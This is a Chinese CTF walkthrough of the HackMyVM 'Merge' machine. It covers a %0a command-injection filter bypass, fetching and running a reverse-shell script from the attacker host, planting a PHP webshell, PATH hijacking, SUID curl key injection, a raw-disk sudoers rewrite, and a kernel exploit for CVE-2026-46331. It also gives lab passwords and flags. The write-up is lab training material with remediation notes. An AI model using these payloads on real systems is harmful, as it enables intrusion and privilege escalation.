跳到主要内容

HackMyVM Merge 通关记录|%0a 命令注入、PATH 劫持与 CVE-2026-46331 内核提权

靶机链接:Merge


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Merge192.168.1.102

攻击流程

点击展开

攻击链摘要

阶段关键操作作用
服务发现22/tcp SSH、80/tcp nginx确定 Web 为入口
命令注入%0a 换行符绕过黑名单 + %09 Tab 替代空格www-data RCE
凭证获取/opt/pass.txt 明文存储SSH mono 初始访问
PATH 劫持env_keep+=PATH + dirty_merge 调用无绝对路径命令SUID+SGID lnnn bash
user flagSUID lnnn bash 读取 /home/lnnn/user.txt第一枚 flag
SSH Key 注入SUID admin curl file:// 协议写入 authorized_keysadmin 横向移动
磁盘写入/etc/group admin 组可写 → disk 组 → 直接写入 /dev/sda1NOPASSWD sudo
root flag免密 sudo 读取 /root/root.txt第二枚 flag
备用提权CVE-2026-46331 pedit COW 内核漏洞mono 直达 root

0x02 侦察与信息收集 (Reconnaissance)

1. 端口扫描

使用 RustScan 进行快速全端口发现,联动 Nmap 进行服务版本识别:

rustscan -a 192.168.1.102 --ulimit 5000 --range 1-65535 -t 2000

RustScan 首轮输出:

Open 192.168.1.102:22
Open 192.168.1.102:80
nmap -sV -sC -O -p 22,80 192.168.1.102

Nmap 复核结果:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp open http nginx
|_http-title: 离线IP地址查询
MAC Address: 08:00:27:3A:F2:04 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%)
端口服务版本判断
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u1需要凭据,后续初始访问入口
80/tcpHTTPnginx主要 Web 攻击面
  • MAC: 08:00:27:3A:F2:04 (Oracle VirtualBox)
  • OS: Linux (Debian 13 Trixie)
  • 内核: 7.0.8-1-liquorix-amd64

2. 目录爆破

gobuster dir -u http://192.168.1.102 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -q
/index.php (Status: 200) [Size: 2443]

Web 根目录只有一个 index.php,无隐藏后台。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. Web 功能分析

网页是一个 离线 IP 地址查询 工具。访问首页后,通过 POST 请求提交 IP:

curl -s -X POST http://192.168.1.102/ -d "ip=127.0.0.1"

响应摘要:

<div class="result result-success"><pre>127.0.0.1 [本机地址]</pre></div>
curl -s -X POST http://192.168.1.102/ -d "ip=8.8.8.8"
8.8.8.8 [美国–加利福尼亚州–圣克拉拉–山景城 谷歌公司DNS服务器]

后端调用 /var/www/tool/nali(Go 编写的 IP 地理位置库),输出直接返回客户端。

2. 源码分析(通过后续获取的 webshell 读取)

index.php 核心逻辑:

$blacklist = [' ', ';', '&', '|', '$', '`'];
if (isset($_POST['ip']) && $_POST['ip'] !== '') {
$input = $_POST['ip'];
foreach ($blacklist as $char) {
if (strpos($input, $char) !== false) {
$error = 'Invalid characters detected';
break;
}
}
if ($error === '') {
$cmd = '/var/www/tool/nali ' . $input . ' 2>&1';
$output = shell_exec($cmd);
}
}

关键问题:

问题说明
黑名单不完整缺少 %0a (换行符) 和 %09 (Tab)
直接拼接 shell 命令shell_exec() 将用户输入直接拼入命令字符串
无输出过滤命令结果原样返回客户端

3. 命令注入确认(%0a 绕过)

%0a (换行符, \n) 在 bash 中是命令分隔符,且不在黑名单中。构造请求:

import urllib.request

data = b'ip=127.0.0.1%0aid'
req = urllib.request.Request('http://192.168.1.102/', data=data)
resp = urllib.request.urlopen(req)
body = resp.read().decode(errors='replace')
print(body)

响应:

127.0.0.1 [本机地址]
uid=33(www-data) gid=33(www-data) groups=33(www-data)

获得 RCE as www-data。

4. Tab 绕过空格

空格被黑名单过滤,使用 %09 (Tab) 作为参数分隔符。编写辅助函数方便后续操作:

import urllib.request, re

def cmd(command):
"""通过命令注入在目标执行 shell 命令并返回输出"""
encoded_cmd = command.replace(' ', '%09')
data = ('ip=127.0.0.1%0a' + encoded_cmd).encode()
req = urllib.request.Request('http://192.168.1.102/', data=data)
resp = urllib.request.urlopen(req)
body = resp.read().decode(errors='replace')
match = re.search(r'<pre>(.*?)</pre>', body, re.DOTALL)
return match.group(1) if match else 'NO MATCH'

# 枚举用户
print(cmd('grep -E "mono|lnnn|admin" /etc/passwd'))
mono:x:1000:1000::/home/mono:/bin/bash
lnnn:x:1001:1001::/home/lnnn:/bin/bash
admin:x:1002:1002::/home/admin:/bin/bash

0x04 凭证获取与初始访问

1. 读取明文凭证

python3 -c "
import urllib.request, re
data = b'ip=127.0.0.1%0acat%09/opt/pass.txt'
req = urllib.request.Request('http://192.168.1.102/', data=data)
resp = urllib.request.urlopen(req)
body = resp.read().decode(errors='replace')
match = re.search(r'<pre>(.*?)</pre>', body, re.DOTALL)
print(match.group(1))
"
mono:0ysP8axqGSAkvXnkvxxukVnz

2. 反弹 Shell(端口 5555)

# Kali 监听
nc -lvnp 5555

# 通过命令注入下载并执行 reverse shell
python3 -c "
data = b'ip=127.0.0.1%0acurl%09-o%09/tmp/rs.sh%09http://192.168.1.113:8888/rs.sh'
..."
python3 -c "
data = b'ip=127.0.0.1%0abash%09/tmp/rs.sh'
..."

3. Webshell 持久化(base64 编码绕过特殊字符)

python3 -c "
# <?php system(\$_GET[\"c\"]); ?> 的 base64 编码
data = b'ip=127.0.0.1%0aecho%09PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==%09>/tmp/s.b64'
data = b'ip=127.0.0.1%0abase64%09-d%09/tmp/s.b64%09>/var/www/html/s.php'
"

# 验证
curl -s "http://192.168.1.102/s.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. SSH 登录 mono

sshpass -p '0ysP8axqGSAkvXnkvxxukVnz' ssh -o StrictHostKeyChecking=no mono@192.168.1.102

$ id
uid=1000(mono) gid=1000(mono) groups=1000(mono)

0x05 权限提升路线 A:PATH 劫持 + 磁盘写入提权

路线总览

步骤目标技术
1monolnnnsudo PATH 劫持 → SUID lnnn bash
2lnnnadminSUID curl file:// → SSH key 注入
3adminroot/etc/group 可写 → disk 组 → 磁盘写入 sudoers

第一阶段:mono → lnnn (PATH 劫持)

1.1 sudo 权限分析

sudo -l
Matching Defaults entries for mono on Merge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty, env_keep+=PATH, !secure_path

User mono may run the following commands on Merge:
(lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge

关键发现:

配置项含义影响
env_keep+=PATHsudo 保留用户 PATH 环境变量可劫持被调用命令
!secure_path不强制使用安全 PATHPATH 劫持不会被覆盖
(lnnn) NOPASSWD无需密码即可切换至 lnnn零门槛触发

1.2 分析 dirty_merge 外部命令调用

ls -la /opt/Dirty-Merge/
cat /opt/Dirty-Merge/README.md
strings /opt/Dirty-Merge/dirty_merge | grep -E "^ip |^ethtool |ip link|ethtool -K"
-rwxr-xr-x 1 root root 814704 dirty_merge ← 内核 exploit
-rw-r--r-- 1 root root 37828 gro_fragnesia.c
-rw-r--r-- 1 root root 828 README.md

ip link add veth0 type veth peer name veth1
ip addr add 10.0.0.1/24 dev veth0
ip link set veth0 up
ethtool -K veth1 gro on

dirty_merge 内部调用 ipethtool 未使用绝对路径。README 说明目标是内核 6.8.0-49-generic,而当前靶机内核 7.0.8 已修补该漏洞,但外部命令调用本身仍可被劫持

1.3 创建劫持脚本

SUID 文件的落点要求

/tmp 挂载 nosuid,因此 SUID 副本必须落在 /var/tmp

mount | grep /tmp
# tmpfs on /tmp type tmpfs (rw,nosuid,nodev,size=1004900k,nr_inodes=1048576,inode64)

mkdir -p /tmp/hijack

cat > /tmp/hijack/ip << 'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/lnnsh
chmod ug+s /var/tmp/lnnsh
exec /usr/sbin/ip "$@"
EOF

cat > /tmp/hijack/ethtool << 'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/lnnsh
chmod ug+s /var/tmp/lnnsh
exec /usr/sbin/ethtool "$@"
EOF

chmod +x /tmp/hijack/ip /tmp/hijack/ethtool

1.4 执行 PATH 劫持

PATH=/tmp/hijack:$PATH sudo -u lnnn /opt/Dirty-Merge/dirty_merge

ls -la /var/tmp/lnnsh
# -rwsr-sr-x 1 lnnn lnnn 1298416 Jul 26 00:59 /var/tmp/lnnsh

dirty_merge 本身的 exploit 失败(内核已修复),但 PATH 劫持成功创建了 SUID+SGID lnnn bash。

1.5 获取 lnnn 权限与 User Flag

/var/tmp/lnnsh -p -c "id"
# uid=1000(mono) gid=1000(mono) euid=1001(lnnn) egid=1001(lnnn) groups=1001(lnnn),1000(mono)

/var/tmp/lnnsh -p -c "cat /home/lnnn/user.txt"
# flag{user-b67448e8af484d5f8958f307b3d57f09}

🎉 Flag 1: flag{user-b67448e8af484d5f8958f307b3d57f09}

1.6 侦察 /opt/admin

/var/tmp/lnnsh -p -c "ls -la /opt/admin/"
# drwxr-x--- 2 admin lnnn 4096 May 22 09:20 .
# -rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl ← SUID admin!
# -rw-r--r-- 1 root root 105 May 22 09:20 hint.txt

/var/tmp/lnnsh -p -c "cat /opt/admin/hint.txt"
# 关注详细的参数帮助信息
# Focus on the detailed parameter help information

第二阶段:lnnn → admin (SSH Key 注入)

2.1 利用 SUID curl file:// 协议

/opt/admin/curl 是 SUID admin 二进制,支持 file:// 协议。将攻击机公钥写入 admin 的 authorized_keys:

# Kali: 生成临时密钥对
mkdir -p /tmp/merge_ssh
ssh-keygen -t rsa -b 2048 -f /tmp/merge_ssh/id_rsa -N "" -q

# 传送公钥到目标
sshpass -p '0ysP8axqGSAkvXnkvxxukVnz' scp /tmp/merge_ssh/id_rsa.pub mono@192.168.1.102:/tmp/mykey.pub

# 使用 lnnsh + SUID curl 写入 authorized_keys
sshpass -p '0ysP8axqGSAkvXnkvxxukVnz' ssh mono@192.168.1.102 '
/var/tmp/lnnsh -p -c "/opt/admin/curl file:///tmp/mykey.pub -o /home/admin/.ssh/authorized_keys --create-dirs"
'

2.2 SSH 登录 admin

ssh -i /tmp/merge_ssh/id_rsa -o StrictHostKeyChecking=no admin@192.168.1.102

$ id
uid=1002(admin) gid=1002(admin) groups=1002(admin)

$ cat /home/admin/hint.txt
# man,what can i do

第三阶段:admin → root (磁盘直接写入)

3.1 发现 /etc/group 可写

ls -la /etc/group
# -rw-rw-r-- 1 root admin 665 May 22 06:04 /etc/group
# ^^^^^ admin 组可写!

3.2 修改 /etc/group 加入特权组

# 备份
cp /etc/group /tmp/group

# 添加 admin 到各特权组
sed -i 's/^root:x:0:/root:x:0:admin/' /tmp/group
sed -i 's/^disk:x:6:/disk:x:6:admin/' /tmp/group
sed -i 's/^sudo:x:27:/sudo:x:27:admin/' /tmp/group
sed -i 's/^shadow:x:42:/shadow:x:42:admin/' /tmp/group
sed -i 's/^operator:x:37:/operator:x:37:admin/' /tmp/group
sed -i 's/^staff:x:50:/staff:x:50:admin/' /tmp/group

cp /tmp/group /etc/group
grep -E "^(root|disk|sudo|shadow|operator|staff):" /etc/group
root:x:0:admin
disk:x:6:admin
sudo:x:27:admin
operator:x:37:admin
shadow:x:42:admin
staff:x:50:admin

3.3 新会话生效

# 重新登录使组变更生效
ssh -i /tmp/merge_ssh/id_rsa admin@192.168.1.102

$ id
uid=1002(admin) gid=1002(admin) groups=1002(admin),0(root),6(disk),27(sudo),37(operator),42(shadow),50(staff)

3.4 确认磁盘设备可访问

lsblk
# NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
# sda 8:0 0 40G 0 disk
# ├─sda1 8:1 0 38G 0 part /
# └─sda5 8:5 0 2G 0 part [SWAP]

ls -la /dev/sda1
# brw-rw---- 1 root disk 8, 1 /dev/sda1 ← disk 组可读写!

3.5 直接磁盘写入 /etc/sudoers

完整脚本见附件:disk_sudoers_write.py

核心原理:

/dev/sda1 上定位 sudoers 注释行 (81 字节)
→ 等长替换为 "admin ALL=(ALL) NOPASSWD: ALL"
→ O_DIRECT + O_SYNC + mmap 绕过缓冲区缓存
→ posix_fadvise(DONTNEED) 清除页缓存强制重读
import os, mmap

OLD = b'#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"'
NEW = b'admin ALL=(ALL) NOPASSWD: ALL '

# ... 完整脚本见附件

执行结果:

old len: 81
new len: 81
Found at byte offset: 28070486617
Block start: 28070486016, offset in block: 601
Verification passed - target content matches.
Replaced in memory buffer.
Written 4096 bytes to disk.
Page cache cleared.
DONE - sudoers modified!

3.6 处理 sudoers 最后匹配规则

sudoers 中 最后一个匹配规则生效%sudo ALL=(ALL:ALL) ALL (第 50 行) 在 admin 规则 (第 19 行) 之后,会覆盖 NOPASSWD。解决方案:从 sudo 组移除 admin。

cp /etc/group /tmp/group
sed -i 's/^sudo:x:27:admin/sudo:x:27:/' /tmp/group
cp /tmp/group /etc/group

3.7 验证免密 sudo 与 Root Flag

# 重新登录
ssh -i /tmp/merge_ssh/id_rsa admin@192.168.1.102

$ id
uid=1002(admin) gid=1002(admin) groups=1002(admin),0(root),6(disk),37(operator),42(shadow),50(staff)
# 注意: sudo(27) 组已移除

$ grep "NOPASSWD" /etc/sudoers
admin ALL=(ALL) NOPASSWD: ALL

$ sudo whoami
root ← 免密! 无需密码!

$ sudo cat /root/root.txt
flag{root-1b5f527b85d84d80816879c8044b0ea9}

$ sudo cat /home/lnnn/user.txt
flag{user-b67448e8af484d5f8958f307b3d57f09}

🎉 Root Shell 获得!免密 sudo!


0x06 权限提升路线 B:CVE-2026-46331 pedit COW 内核提权

漏洞概要

项目详情
CVECVE-2026-46331
名称pedit COW
影响组件Linux kernel net/sched act_pedit
根因tcf_pedit_act() 预计算的 COW 范围未覆盖 typed key 的运行时偏移
影响范围v5.18 ~ v7.1-rc6
修复版本v7.1-rc7
目标内核7.0.8-1-liquorix-amd64 ✔ 在受影响范围
利用方式页缓存破坏:将 shellcode 注入 setuid-root 二进制

漏洞原理

tcf_pedit_act() 在进入 per-key 循环前使用 tcfp_off_max_hint 计算 COW 范围并调用 skb_ensure_writable()。但 typed key(如 TCP/UDP header edits)会添加运行时 header offset,导致实际写入偏移超出 COW 保护范围,写入落在共享页缓存中 —— 即部分 COW 条件。

利用步骤:

1. unshare(CLONE_NEWUSER | CLONE_NEWNET)
→ 获得 CAP_NET_ADMIN (在 userns 内)

2. 在 loopback 上配置 tc clsact qdisc + pedit filter
→ IHL key 膨胀 IP 头长度
→ TCP key 偏移超出 COW 范围

3. sendfile() 将 /bin/su 映射到 skb
→ 页缓存页面进入 socket buffer

4. pedit OOB 写入 shellcode
→ 破坏 setuid-root 二进制的页缓存 ELF 入口
→ 磁盘文件不变 (内存级攻击)

5. execve(/bin/su)
→ shellcode 执行 setgid(0); setuid(0); execve("/bin/sh")
→ root shell

利用过程

Exploit 来源:yanxinwu946/CVE-2026-46331

编译

# Kali (x86_64)
git clone https://github.com/yanxinwu946/CVE-2026-46331.git
cd CVE-2026-46331
make CC=gcc CFLAGS="-O2 -Wall -static"
file packet_edit_meme
# packet_edit_meme: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked

传输与执行

非交互会话的稳定输入方式

exploit 通过 execve() 替换当前进程。在非交互 SSH 会话中,/bin/sh 没有 TTY 会立即退出;推荐通过 echo "cmd" | ./packet_edit_meme 将命令通过 stdin 管道注入到 exploit 启动的 root shell 中稳定执行。

# 传输到目标
sshpass -p '0ysP8axqGSAkvXnkvxxukVnz' scp packet_edit_meme mono@192.168.1.102:/tmp/

# 执行 — 注意: 非交互 shell 需要通过管道注入命令
sshpass -p '0ysP8axqGSAkvXnkvxxukVnz' ssh mono@192.168.1.102 '
echo "id; cat /root/root.txt; cat /home/lnnn/user.txt" | /tmp/packet_edit_meme
'

输出

[d] shellcode chunk: offset=0x1c8 size=36 (0/68)
[d] shellcode chunk: offset=0x1ec size=32 (36/68)
[d] phdr[2] p_flags at 0xb4 set to 5
[d] e_entry = 0x28 (expected 0x28)
[d] jmp bytes at 0x28: e9 9b 01 00 00
[d] first 8 shellcode bytes at 0x1C8: 31 ff b8 6a 00 00 00 0f
[d] phdr[2] now has PF_X (flags=5)
uid=0(root) gid=0(root) groups=0(root),1000(mono)
flag{root-1b5f527b85d84d80816879c8044b0ea9}
flag{user-b67448e8af484d5f8958f307b3d57f09}

mono → root 一步直达,两枚 flag 全部获取。

本次二进制环境

本靶机的 /bin/su 是 PIE 二进制(与 Alpine 相同的 LOAD 布局:第一个只读段在偏移 0,可执行段在偏移 0x3000 超出 pedit 511 字节限制),exploit 的 PIE 适配路径(phdr[2] 添加 PF_X + shellcode 写入 PT_NOTE 区域)正常工作。


0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/lnnn/user.txt
  • 内容: flag{user-b67448e8af484d5f8958f307b3d57f09}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-1b5f527b85d84d80816879c8044b0ea9}

0x08 漏洞汇总

#漏洞严重程度位置利用方式
1OS 命令注入Criticalindex.php%0a 换行符绕过黑名单
2明文密码存储High/opt/pass.txt直接读取 mono 密码
3sudo PATH 保留High/etc/sudoersenv_keep+=PATH + 命令劫持
4外部命令无绝对路径Highdirty_mergeip/ethtool 可被 PATH 劫持
5SUID curl file:// 协议Medium/opt/admin/curlSSH key 注入到 admin
6/etc/group 组可写Critical/etc/group 权限加入 disk/shadow 组
7磁盘设备权限过大Critical/dev/sda1disk 组直接读写文件系统
8内核 act_pedit 部分 COWCriticalLinux 7.0.8CVE-2026-46331 页缓存破坏

0x09 两条路线对比

路线 A:横向移动链路线 B:CVE-2026-46331
跳数5 跳 (www-data → mono → lnnn → admin → root)1 跳 (mono → root)
复杂度高,需多次横向移动和配置利用低,单次 exploit 执行
依赖多个配置缺陷串行利用内核漏洞 (act_pedit)
可靠性高,基于配置缺陷,不受内核版本影响受内核版本限制 (v5.18~v7.1-rc6)
噪声中等 (SSH 连接、文件操作)低 (内存级攻击,磁盘文件不变)
修复建议逐一修复各配置缺陷升级内核至 v7.1-rc7+ 或禁用 act_pedit 模块

复盘总结

  1. 黑名单过滤不是安全的命令注入防护。 开发者在 index.php 中过滤了空格、;&|$`,但遗漏了 %0a (换行符)。在 bash 中 \n 本身就是命令分隔符,这种绕过非常普遍。正确做法是避免将用户输入拼入 shell 命令,使用 escapeshellarg() 或更好的方案是完全不调用 shell。

  2. env_keep+=PATH 组合 !secure_path 是经典的 sudo 配置缺陷。 当被调用的程序使用无绝对路径的外部命令时,攻击者可以通过 PATH 劫持获得 SUID shell。修复:移除 !secure_path,确保 env_keep 列表中不含 PATH

  3. /etc/group 的可写权限是整个系统最后一道防线的崩溃。 admin 组可写 /etc/group 允许攻击者将自己加入任意特权组。disk 组权限则直接暴露了 /dev/sda1,使所有文件权限形同虚设。

  4. 磁盘直接写入是一条被低估的提权路径。 O_DIRECT + O_SYNC 绕过缓冲区缓存后,等长字节替换不会改变文件系统元数据。正确做法:/etc/group 权限应为 644 (root:root),不应将非 root 用户加入 disk 组。

  5. SUID 二进制 + file:// 协议 = 任意文件读写。 /opt/admin/curl 的 SUID admin 位允许 file:// 协议读取任意文件并以 admin 权限写入,这本质上是一个受限制的文件管理器。

  6. CVE-2026-46331 展示了内核内存腐败的简化利用路径。 pedit COW 不需要绕过 KASLR/SMEP/SMAP,仅依赖页缓存写入和 setuid 机制。防御:升级内核或 echo "blacklist act_pedit" > /etc/modprobe.d/act_pedit.conf,也可以通过 sysctl user.max_user_namespaces=0 阻断 userns 攻击向量。

  7. 非交互 exploit 的管道注入技巧。 当 exploit 通过 execve() 替换自身并启动 shell 时,非 TTY 会话中的 shell 会立即退出。echo "cmd" | ./exploit 是一种简单有效的命令注入方式。


附件

文件说明
disk_sudoers_write.py直接磁盘写入 /etc/sudoers 的等长字节替换脚本。需要 disk 组成员权限,通过 O_DIRECT 绕过缓冲区缓存实现 NOPASSWD sudo 规则注入。